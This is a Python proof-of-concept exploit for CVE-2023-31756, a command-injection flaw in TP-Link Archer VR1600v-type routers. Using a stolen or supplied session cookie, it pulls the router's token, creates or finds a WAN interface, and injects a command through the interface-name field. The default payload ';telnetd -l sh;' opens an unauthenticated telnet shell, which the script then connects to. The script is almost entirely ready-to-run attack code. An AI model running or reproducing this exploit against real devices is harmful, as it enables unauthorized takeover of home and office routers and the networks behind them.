import argparse import requests import re import sys import os import time #Print Header print(" __ ___ ") print(" / / ___ ___ ___ _/ _ )___ _ __") print(" / /__/ _ \/ _ \/ _ `/ _ / _ \ |/|/ / >>>>>>>_____________________\`-._") print("/____/\___/_//_/\_, /____/\___/__,__/ >>>>>>> /.-'") print(" /___/ ") print("CVE-2023-31756 Proof of Concept - Remote Code Execution for Archer V1/V2 Routers\n") #Required arguments parser = argparse.ArgumentParser() parser.add_argument("--ip",type=str,help="The IP Address of the target to attack Example: 192.168.1.1", required=True) parser.add_argument("--session",type=str,help="The value from the JSESSIONID Cookie of an authenticated request Example: ad27cb4adce1cad35a29e035b1f79c",required=True) parser.add_argument("--proxy",type=str,help="The proxy address you want to use. Example: 127.0.0.1:8080 ",required=False) parser.add_argument("--command",type=str,help="The command you want to run. < 13 chars. Example: uname -a (default telnet shell)",required=False) args = parser.parse_args() #Session Info target = "http://"+args.ip cookies = {'JSESSIONID':args.session} global headers headers = {'Referer':"http://192.168.1.1/"} command = ";telnetd -l sh;" if args.proxy: proxies = { 'http': 'http://'+args.proxy, 'https': 'http://'+args.proxy } else: proxies = {} if args.command: print("[*] Checking command length...") if len(args.command) > 13: print("\t[!] Command to be injected must be less than 13 characters! Current length: "+str(len(args.command))) sys.exit() else: command = ";"+args.command+";" wanInterface = "[WAN_IP_CONN#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n" createWanObj = "[WAN_CONN_DEVICE#0,0,0,0,0,0#1,0,0,0,0,0]0,0\r\n" createWan = "[WAN_PTM_LINK_CFG#1,1,0,0,0,0#0,0,0,0,0,0]0,4\r\nenable=1\r\nX_TP_Used=1\r\nX_TP_VlanEnabled=0\r\nX_TP_VID=0\r\n[WAN_IP_CONN#0,0,0,0,0,0#1,1,0,0,0,0]1,15\r\nMACAddressOverride=0\r\nNATEnabled=1\r\nX_TP_FullconeNATEnabled=0\r\nX_TP_IGMPProxyEnabled=1\r\nMaxMTUSize=1500\r\nDNSOverrideAllowed=0\r\nX_TP_Hostname=Archer_VR1600v\r\nX_TP_Unicast=0\r\nenable=1\r\nconnectionType=IP_Routed\r\naddressingType=DHCP\r\nX_TP_IPv4Enabled=1\r\nX_TP_IPv6Enabled=0\r\nX_TP_IPv6DNSOverrideAllowed=0\r\nX_TP_IPv6AddressingType=DHCPv6\r\n" print("[*] Checking session information...") url = target+"/" resp = requests.get(url,cookies=cookies,headers=headers,proxies=proxies) #Check Session def checkSession(): if resp.status_code == 200 and "var token=" in resp.text: print("\t[*] Session information appears valid!") print("\t[*] Extracting token..") for line in resp.text.splitlines(): if "var token=" in line: token = line.split("=")[2][1:-22] print("\t[*] Token: "+token) global headers headers = {'TokenID':token,'Referer':"http://192.168.1.1/"} return True else: print("\t[!] Session information is not valid. Be sure to paste current JSESSIONID cookie value") sys.exit() #Clear Busy CGI Request def clearBusy(): print("[*] Calling 'ClearBusy' script...") url = target+"/cgi?8" clearBusy = "[/cgi/clearBusy#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n" resp = requests.post(url,cookies=cookies,headers=headers,data=clearBusy,proxies=proxies) if resp.status_code == 200: print("\t[*] ClearBusy successful") else: print("\t[i] ClearBusy script didn't appear successful, trying anyway...") #Create new PTM interface def createPTM(): #In case there are literally no interfaces... url = target+"/cgi?3" resp = requests.post(url,cookies=cookies,headers=headers,data=createWanObj,proxies=proxies) url = target+"/cgi?2&3" resp = requests.post(url,cookies=cookies,headers=headers,data=createWan,proxies=proxies) if resp.status_code == 200 and "enable" in resp.text: print("\t\t[*] Successfully created interface") return True else: print("\t\t[!] Interface could not be created") return False #Read WAN Interface Objects def readWANObjects(): print("[*] Reading configured WAN connection objects...") url = target+"/cgi?5" resp = requests.post(url,cookies=cookies,headers=headers,data=wanInterface,proxies=proxies) if resp.status_code == 200 and "enable" in resp.text: print("\t[*] Retrieved WAN Interface Objects") else: print("\t[!] Failed to retrieve WAN interfaces - are you targeting the correct model?") sys.exit() wanObjArray = list() #print(resp.text) for line in resp.text.splitlines(): #print("LINE: "+line) match = re.search(r"\[(\d+(,\d+)*)\]", line) if match: wanObjArray.append(line) print("\t[*] Number of WAN Objects configured: "+str(len(wanObjArray))) print("\t[*] Searching for 'ptm' interface...") interFaceNameArray = list() for line in resp.text.splitlines(): if "X_TP_IfName" in line: interFaceNameArray.append(line) for i, item in enumerate(interFaceNameArray): if "ptm0" in item: matchIndex = i print("[*] ptm Interface found!") injectableObject = wanObjArray[i] return injectableObject print("\t[*] ptm Interface not found. Creating ptm interface...") return False def commandInjection(injObject): print("[*] Perfoming command injection...") url = target+"/cgi?2" #retrieve object number from braces injObject = injObject[1:-2] commandInjectionObject = "[WAN_IP_CONN#"+injObject+"#0,0,0,0,0,0]0,2"+"\r\nX_TP_IfName="+command+"\r\nenable=1\r\n" restoreObject = "[WAN_IP_CONN#"+injObject+"#0,0,0,0,0,0]0,1"+"""\r\nX_TP_IfName="ptm0.0"\r\n""" resp = requests.post(url,cookies=cookies,headers=headers,data=commandInjectionObject,proxies=proxies) if resp.status_code == 200 and "[error]0" in resp.text: print("\t[*] Command injection appears successful.") print("\t[*] Restoring interface name...") resp = requests.post(url,cookies=cookies,headers=headers,data=restoreObject,proxies=proxies) if resp.status_code == 200 and "[error]0" in resp.text: print("\t[*] Object restored successfully") else: print("\t[i] Warning: Did not restore interface name - you can run the command again, but this will create a new interface. You can have a max of 7") if ";telnetd -l sh;" in command: print("\t[*] Launching admin shell in 10 seconds. If it doesn't appear, open a new CMD and type 'telnet 192.168.1.1'") time.sleep(10) osCMD = "telnet 192.168.1.1" os.system(osCMD) else: print("\t[*] Access to serial console required to see output") else: print("\t[!] Command injection failed") def main(): #Main function validSess = checkSession() time.sleep(2) if validSess: #Keep going clearBusy() time.sleep(2) injectableObject = readWANObjects() if injectableObject: #Interface found - begin command injection commandInjection(injectableObject) else: #Interface not found, create it! success = createPTM() if success: #WAN interface created, recheck WAN objects injectableObject = readWANObjects() if injectableObject: #interface found - begin command injection commandInjection(injectableObject) else: sys.exit() else: print("[!] Could not locate ptm Interface even after successful creation. Perhaps there are too many WAN Interfaces (Max. 7) - try deleting some") sys.exit() else: sys.exit() if __name__ == "__main__": main()